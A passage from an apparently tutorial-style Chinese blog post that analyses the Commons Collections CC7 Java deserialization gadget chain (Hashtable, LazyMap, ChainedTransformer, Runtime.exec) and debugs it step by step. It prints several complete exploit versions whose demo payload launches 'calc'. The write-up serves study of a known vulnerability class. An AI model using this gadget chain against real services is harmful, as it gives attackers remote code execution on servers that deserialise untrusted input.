ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,null ); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException (1 ); Field val=BadAttributeValueExpException.class.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream objectOutputStream=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (Filename)); Object obj=objectInputStream.readObject(); return obj; } }
CC7 0x00环境准备
jdk1.8.0_8u65
Maven
openJDK8u65
CommonsCollection3.2.1
0x01利用链分析 新的入口类:Hashtable
CC7的入口类是Hashtable
,Hashtable
继承了Serializable
接口,也重写了readObject
方法。Hashtable
和HashMap
有很多共同之处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
Hashtable
在反序列化的时候会循环key和Value,最后调用reconstitutionPut()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
这个方法里先计算key.hashCode
,然后检查Hashtable
中是否存在相同的元素。这里可以继续往下调用CC6链,我们把CC6的利用链改一下
1 2 3 4 5 6 7 8 9 10 GadgetChain: Hashtable.readObject() Hashtable.reconstitutionPut() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
但这不是CC7讨论的重点。我们注意这个equals
方法,LazyMap
是没有equals
方法的,这样的话它就会去父类AbstractMapDecorate
里找equals
方法
但是AbstractMapDecorate.equals
并没有调用到其他方法,当传入的对象不同的时候,会调用map.equals()
。那么我们就可以操作一下map
,map最常见最通用的不就是HashMap
吗?
这里需要注意一点:HashMap
并没有重写equals
方法,如果调用equals
,实际上调用的是父类AbstractMap
的equals
方法
AbstractMap.equals
最终肯定会调用m.get
的,所以我们得想办法让m为LazyMap
,触发transform
方法
0x02编写exp 一开始写出来的exp是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer); Hashtable hashtable=new Hashtable (); hashtable.put(lazyMap,"notlus" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
然而这样并没有成功命令执行,还有很多细节的地方需要解决。
调试改进 怎么进入到reconstitutionPut
的循环中? 我们现在reconstitutionPut
方法中打下断点
因为tab
全为null,所以e
自然也为null,就不会进入到循环中,而是进行赋值操作,也就不会调用equals
方法了。所以我们需要调用两次Hashtable.put()
才能进入到循环中,像这样:
1 2 3 Hashtable hashtable=new Hashtable(); hashtable.put(lazyMap1,"xxx"); hashtable.put(lazyMap2,"yyy");
怎么通过e.hash==hash
但是根据逻辑短路的特性,e.hash==hash
这个表达式通过后才能进入到e.key.equals(key)
这个判断。首先得知道hash
是由key.hashCode()
计算得出的,hashtable
的key
就是LazyMap
的键值对,我们并不能直接将相同的LazyMap
放入Hashtable
中,因为Hashtable
中无法存在相同的键值对
而在java中,"yy".hashCode() == "zZ".hashCode()
,利用这个特性,写出
1 2 3 4 5 6 7 8 9 HashMap hashMap1=new HashMap (); Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("zZ" ,1 ); HashMap hashMap2=new HashMap (); Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("yy" ,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 );
序列化前就弹出计算器 在反序列化序列化前打下断点,发现会弹出计算器,原因就是在hashtable.put(lazyMap2,1);
的时候,会进入到equals()
方法中,逻辑和reconstitutionPut
是一样的。
解决办法就是反射修改chainedTransformer
,又是一套小连招
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (new Transformer []{}); HashMap hashMap1=new HashMap (); Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("zZ" ,1 ); HashMap hashMap2=new HashMap (); Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("yy" ,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); Field field=ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer,transformers); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
为什么需要remove("zZ")
如果直接运行上面的代码,还是不能够弹出计算器,我们在Abstract.equals
方法处打下断点
我们发现,在这个地方,因为m.size()!=size()
而跳了出去,因为lazyMap2
这里多了一个zZ
的键,也就不能进入到下面的get
方法中
那为什么lazyMap2
里面会多出一个zZ
的键呢?
其实这点和CC6是异曲同工的,也是前面分析提前弹出计算器说到的一点
当程序运行到hashtable.put(lazyMap2,1);
的时候,回来到lazyMap.get()
方法中,当进入到if判断里面的时候,会进行一个map.put(key,value)
操作,所以lazyMap2
会多出一个zZ->zZ
,所以我们需要在执行完put
方法之后进行remove("zZ")
操作
0x03最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (new Transformer []{}); HashMap hashMap1=new HashMap (); Map lazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("zZ" ,1 ); HashMap hashMap2=new HashMap (); Map lazyMap2=LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("yy" ,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); Field field=ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer,transformers); lazyMap2.remove("zZ" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
0x04总结 最后再把GadgetChain
总结一下
1 2 3 4 5 6 7 8 9 10 GadgetChain: ObjectInputStream.readObject() Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMapDecorate.equals() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() InvokerTransfomer.transform() Runtime.getRuntime().exec()